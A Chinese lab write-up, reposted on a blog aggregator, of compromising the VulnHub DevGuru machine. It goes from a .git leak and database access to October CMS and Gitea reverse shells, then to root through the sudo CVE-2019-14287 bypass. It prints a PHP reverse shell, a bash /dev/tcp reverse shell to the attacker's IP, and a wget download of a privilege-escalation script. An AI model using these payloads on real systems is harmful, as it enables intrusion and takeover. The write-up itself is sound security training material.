vulnhub之devguru靶场提权过程(vulnhub打靶日记)

一、环境搭建

VM版本:17.5.1 build-23298084

攻击机:Kali2024(下载地址:https://www.kali.org/)

靶机:vulnhub靶场Devguru(下载地址:https://www.vulnhub.com/entry/devguru-1,620/)

网络环境:两台主机都设置NAT模式

踩坑1:使用vmware workstation打开Devguru,可能存在兼容性问题兼容性,我是选择重试继续安装也能正常玩耍,也可以更改VM虚拟机硬件为16.x。

解决环境配置问题也是安全必修课之一,细心解决并多总结即可!环境准备完毕,就可以娱乐的玩靶场了。

二、信息收集

1、收集IP、端口、目录信息

(1)确定靶机、攻击机IP,Kali攻击机使用ifconfig查看的IP为:192.168.232.128

(2)使用kali的nmap进行网段扫描、全端口扫描:nmap -p 1-65535 192.168.232.0/24

发现靶机的IP为:192.168.232.157         开放端口22、80、8585

(3)实战中优先访问80、8585web页面端口。22是ssh端口可以尝试爆破,不过成功概率极低。

http://192.168.232.157是网站首页,未发现任何可利用信息。

http://192.168.232.157:8585是gitea的首页,gitea版本为1.12.5存在历史漏洞。

(4)扫描http://192.168.232.157站点目录,发现利用点:

/.git/文件泄露     mysql登录地址 /adminer.php

扫描http://192.168.232.157:8585 站点目录,未发现什么有价值的利用点,只有一个登录处。

2、信息整合、漏洞利用

(1)两个登录框的账号密码都未知,威胁建模后,发现/.git/泄露漏洞可以利用,从这里入手。使用git利用工具GitHack-master爬取站点的源码。

(2)成功获得源码文件,开始审计源码,寻找有价值的信息,这里一眼就看到了config配置文件。从配置文件中获取了一个mysql用户。

拿下mysql后台低权限【1】

(3)去站点80端口的/adminer.php后台尝试登录,非常好,成功进入mysql后台。

(4)进入mysql数据库攻击优先顺序:

方法1:权限足够,直接写入一句话拿下网站权限

方法2:翻找数据表获取其他站点的账号密码,再进行后续的提权

(5)这里使用方法2,优先查看backend_user数据表的信息,发现一个账号密码,看样子就知道不容易解密。

(6)目前解密失败就尝试换一种思路,自己创建一个用户,并且权限设置为管理员。

(7)模仿游戏,尽量能设置一样,这样权限也会一样,再把添加的gjc用户加入管理员组中。

拿下october后台权限【2】

(8)从文件名规律猜测存在站点backend,访问站点:http://192.168.232.157/backend,使用创建的账号gjc 密码123456尝试登录,登录成功。

(9)kali工具或者网上搜索october-cms存在已知漏洞,后台可以文件上传、创建网页反弹shell,有兴趣了解参考大神文章:https://blog.csdn.net/m0_66299232/article/details/129119565

october获取网站权限【3】

(10)创建一个网页,写入反弹shell的代码:

function onStart(){
//nc监听7777端口$s=fsockopen("攻击机IP",7777);$proc=proc_open("/bin/sh -i", array(0=>$s, 1=>$s, 2=>$s),$pipes);
}

(11)Kali攻击机nc监听7777端口:nc -lvvp 7777

(12)保持后查看网页,成功反弹shell。

(13)whoami查看权限,只是web权限太低了,靶场最终需要拿下root权限,尝试提权。

(14)翻一下目录,发现/var/backups下面有个备份文件app.ini.bak ,使用cat查看一下,获取到一个gitea和密码UfFPTF8C8jjxVF2m的mysql账号,刚好http://192.168.232.157:8585是gitea,猜测后面肯定有关联,正所谓无巧不成书!

拿下mysql后台高权限【4】

(15)去http://192.168.232.157/adminer.php登录看看,成功进入!

(16)查看user表信息,看到一个frank用户,使用了pbkdf2加密,此处有两种办法:

方法1:查看网站源码,分析加密方式,再根据加密写出解密脚本得到密码。(实战推荐这种)

方法2:修改密码,编辑数据表,修改加密方式为Bcrypt,密码改为123456(靶场推荐这种)

(17)Bcrypt加密网站:https://www.jisuan.mobi/nX7.html。修改两处即可!

拿下gieat站点后台权限【5】

(18)使用账号gieat密码123456成功登录http://192.168.232.157:8585 站点后台。

gieat获取普通用户权限【6】

(19)这里也是难点,gieat站点后台有个远程命令执行漏洞,文章地址:

Exploiting CVE-2020-14144 - GiTea Authenticated Remote Code Execution using git hooks · Podalirius访问http://192.168.232.157:8585/frank/devguru-website/settings/hooks/git/pre-receive写入反弹命令:

bash -c "exec bash -i >& /dev/tcp/192.168.232.128/5566 0>&1"        

(20)保存后,Kali创建监听5566端口,按照原理编辑README.md文件。

(21)在文件中随机敲几个空格提交修改,既可成功反弹shell。

​​​​​​​

(22)查看权限,是frank用户,普通权限,无法查看root目录下面的文件,只能进行权限提升。

三、权限提升

1、Linux常见提权手段总结

【1】内核溢出漏洞提权,例如:cve-2016-5195、cve_2021_4034等,也就是常说的脏牛系。

【2】SUID、SUDO、SUDO历史CVE漏洞提权

【3】Cron计划任务提权、path环境变量提权、NFS协议提权

【4】数据库类型提权、Capability能力

【5】其他.. ....LD_Preload加载\LXD\docker等等

以上是本人学过的linux提权方式,遗漏的欢迎大家评论区补充。

2、上传提权综合类脚本,PEASS-ng.sh工具几乎包含了上面全部手段探测,算是提权神器。windows中也能用。

将脚本放到Kali的root根目录下面,python开启一个服务终端:python -m http.server 8080

然后靶机进入/tmp目录远程下载文件:wget http://192.168.232.128:8080/PEASS-ng.sh

3、进入靶机的/tmp目录下面,可以看到文件被成功访问下载。

4、赋予文件执行权限:chmod +x PEASS-ng.sh 

执行文件:./PEASS-ng.sh

工具爬取出了suid等可利用信息,suid、sudo等提权参考文章:https://gtfobins.github.io/

5、sudo -l 查看可利用命令,发现/usr/bin/sqlite3

6、使用命令:sudo /usr/bin/sqlite3 /dev/null '.shell /bin/sh'  发现提权失败,权限不足。

7、因为这里有一个考点,就是sudo版本1.8.21存在CVE-2019-14287漏洞。(CVE-2019-14287学习文章:CVE-2019-14287:sudo权限绕过漏洞分析与复现_运行

拿下站点root权限【7】

8、将命令修改整理后:sudo -u#-1 /usr/bin/sqlite3 /dev/null '.shell /bin/sh'

9、至此,靶场完结!!!

四、关卡总结

考点:

1、拿下站点、敏感文件后,需要细心的审计搜索有价值的信息,特别是账号密码。

2、常见网站october、gieat的历史漏洞,利用已知漏洞反弹shell,拿下网站。

3、熟悉数据库后台创建用户,添加用户组,编辑用户的操作。

4、了解linux提权常用操作,内核漏洞>suid/sudo>环境变量/计划任务等等。

难点:

1、常见网站october、gieat的历史漏洞,这些站点的漏洞能否成功利用提权,对于小白来说是块硬骨头。

2、获取mysql的frank用户时,此处用的是修改加密方式、修改密码。实战中此操作风险太高。需要根据前面获得的源码分析加解密方式,才是最安全合理的。但是代码能力要求很高

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/789815.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

C++——异常机制

目录 一,背景 1.1 C语言处理错误的方式 1.2 C异常概念 二,异常的使用 2.1 异常的简单使用 2.2 异常的匹配原则 2.3 异常抛对象 2.4 异常的重新抛出 2.5 异常安全 三,自定义异常体系 四,异常优缺点 4.1 优点 4.2 缺点 …

【爬虫框架Scrapy】02 Scrapy入门案例

接下来介绍一个简单的项目,完成一遍 Scrapy 抓取流程。通过这个过程,我们可以对 Scrapy 的基本用法和原理有大体了解。 1. 本节目标 本节要完成的任务如下。 创建一个 Scrapy 项目。 创建一个 Spider 来抓取站点和处理数据。 通过命令行将抓取的内容…

从零开始为香橙派orangepi zero 3移植主线linux——2.linux kernel

从零开始为香橙派orangepi zero 3移植主线linux——2.linux kernel 0.环境搭建补档NFS服务TFTP服务 一、linux kernel编译二、运行 0.环境搭建补档 linux kernel验证时,使用tftp服务从ubuntu主机下载启动更加方便,等到验证无误后再一次性烧写到tf卡。所以…

基于java+SpringBoot+Vue的校园交友网站设计与实现

基于javaSpringBootVue的校园交友网站设计与实现 开发语言: Java 数据库: MySQL技术: SpringBoot MyBatis工具: IDEA/Eclipse、Navicat、Maven 系统展示 前台展示 后台展示 系统简介 整体功能包含: 校园交友网站是一个为在校师生提供一个交流互动、寻找朋友的…

vue3+ts 调用接口,数据显示

数据展示 (例:展示医院等级数据,展示医院区域数据同理。) 接口文档中,输入参数 测试一下接口,发请求 看是否能够拿到信息 获取接口,api/index.ts 中 /home/index.ts // 统一管理首页模块接口 i…

ansible-自动化工具

一、ansible概述 不是C/S架构,就是一种工具 1:linux自动化运维 编写程序实现运维自动化:shell python 工具模式自动化: ①OS Provisioning: RedHat satellite;PXE(可实现dhcp和tftp&#…

PFC交流电压跌落测试实现方法与仿真

目录 前言 交流电压跌落测试 仿真验证 总结 前言 之前双向交错的图腾柱仿真到代码生成系统验证已经实现,最近在学习如何解决交流电压跌落的问题,目前根据需要通过仿真实现了该工况的模拟,这里简单记录一下。 双向交错CCM图腾柱无桥单相PF…

Linux提权!!!

上一篇文章讲了Windows的提权,那么这篇文章就来讲一下Linux的提权 1.SUID提权 suid权限 作用:让普通用户临时拥有该文件的属主的执行权限,suid权限只能应用在二进制可执行文件(命令)上,而且suid权限只能设置…

HR是怎么看待PMP证书的呢?

考PMP证书为什么值得?对管理人员有用么? 首先,在行业内部,一名项目经理,需要有PMP证书已经是行业内的共识了。而且面试的时候,如果是同样的年龄段,同样的背景,那有证书在手的人&…

瑞吉外卖实战学习--13、完善删除中的逻辑

完善删除中的逻辑 前言效果图逻辑介绍表结构根据mybatisPlus接口规范创建实体类和service和mapper文件1、实体类Dish和Setmeal2、Mapper接口DishMapper和SetealMapper3、Service接口DishService和setmealService4、Service实现类DishServiceImpl和setmealServicelmpl 编写删除函…

【御控物联】JSON结构数据转换在物流调度系统中的应用(场景案例三)

文章目录 一、前言二、场景概述三、解决方案四、在线转换工具五、技术资料 一、前言 物流调度是每个生产厂区必不可少的一个环节,主要包括线边物流和智能仓储。线边物流是指将物料定时、定点、定量配送到生产作业一线的环节,其包括从集中仓库到线边仓、…

【详解】Windows系统安装Nginx及简单使用

【详解】Windows系统安装Nginx及简单使用 一、Nginx是什么? “Nginx 是一款轻量级的 HTTP 服务器,采用事件驱动的异步非阻塞处理方式框架,这让其具有极好的 IO 性能,时常用于服务端的反向代理和负载均衡。”Nginx 是一款 http 服…

鸿蒙OS开发实例:【组件化模式】

组件化一直是移动端比较流行的开发方式,有着编译运行快,业务逻辑分明,任务划分清晰等优点,针对Android端的组件化;与Android端的组件化相比,HarmonyOS的组件化可以说实现起来就颇费一番周折,因为…

IoT数采平台4:测试

IoT数采平台1:开篇IoT数采平台2:文档IoT数采平台3:功能IoT数采平台4:测试 Modbus RTU串口测试 OPC测试 HTTP测试 MQTT透传测试 MQTT网关测试及数据上报 TCP / UDP 监听,客户端连上后发送信息,客户端上报数据…

pygame--坦克大战(一)

项目搭建 本游戏主要分为两个对象,分别是我方坦克和敌方坦克。用户可以通过控制我方的坦克来摧毁敌方的坦克保护自己的“家”,把所有的敌方坦克消灭完达到胜利。敌方的坦克在初始的时候是默认5个的(这可以自己设置),当然,如果我方坦克被敌方坦克的子弹打中,游戏结束。从…

Lambda表达式,Stream流

文章目录 Lambda表达式作用前提函数式接口特点 语法省略模式和匿名对象类的区别 Stream流思想作用三类方法获取方法单列集合(Collection[List,Set双列集合Map(不能直接获取)数组同一类型元素(Stream中的静态方法) 常见的中间方法终结方法收集方法 Optional类 Lambda表达式 作用…

数据结构(六)——图的存储及基本操作

6.2 图的存储及基本操作 6.2.1 邻接矩阵法 邻接矩阵存储无向图、有向图 #define MaxVertexNum 100 //顶点数目的最大值typedef struct{char Vex[MaxVertexNum]; //顶点表int Edge[MaxVertexNum][MaxVertexNum]; //邻接矩阵,边表int vexnum,arcnum; //图的当前…

华为ICT七力助推文化产业新质生产力发展

创新起主导作用的新质生产力由新劳动者、新劳动对象、新劳动工具、新基础设施等四大要素共同构成,符合新发展理念的先进生产力质态;具有高科技、高能效、高质量等三大突出特征。而通过壮大新产业、打造新模式、激发新动能,新质生产力能够摆脱…

阿里云数据库服务器价格表,2024年最新报价

阿里云数据库服务器价格表,优惠99元一年起,ECS云服务器2核2G、3M固定带宽、40G ESSD Entry云盘,优惠价格99元一年;阿里云数据库MySQL版2核2G基础系列经济版99元1年、2核4GB 227.99元1年,云数据库PostgreSQL、SQL Serve…

探索 ZKFair 的Dargon Slayer蓝图,解锁新阶段的潜力

在当前区块链技术的发展中,Layer 2(L2)解决方案已成为提高区块链扩容性、降低交易成本和提升交易速度的关键技术,但它仍面临一些关键问题和挑战,例如用户体验的改进、跨链互操作性、安全性以及去中心化程度。在这些背景…